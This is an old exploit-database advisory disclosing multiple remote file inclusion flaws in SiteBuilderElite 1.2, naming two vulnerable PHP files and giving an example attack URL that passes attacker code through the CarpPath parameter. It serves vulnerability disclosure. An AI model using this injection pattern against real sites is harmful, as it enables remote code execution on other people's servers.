SiteBuilderElite 1.2 - Multiple Remote File Inclusions



EKU-ID: 13146 CVE: OSVDB-42556;CVE-2008-1123;OSVDB-42555 OSVDB-ID:
Author: MhZ91 Published: 2008-02-28 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


--==+================================================================================+==--
--==+		SiteBuilderElite1.2 Multiple Remote File Inclusion                   +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: SiteBuilderElite1.2 Multiple Remote File Inclusion
 Vendor: http://sitebuilderelite.com $97
 Bug: Multiple Remote File Inclusion
 Info: "Boost Your Adsense And Affiliate Commissions By Building 10s, 100s or 1,000s of Websites, Each With The Click of a Button!"
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

SiteBuilderElite1.2 present a variable "CarpPath" not definited in this file

files/carprss.php
files/amazon-bestsellers.php

all are exploitable by the variable "CarpPath" for example

http://www.example.com/files/carprss.php?CarpPath=[Evil_Code]


[*]----------------------------------------------------------

# milw0rm.com [2008-02-28]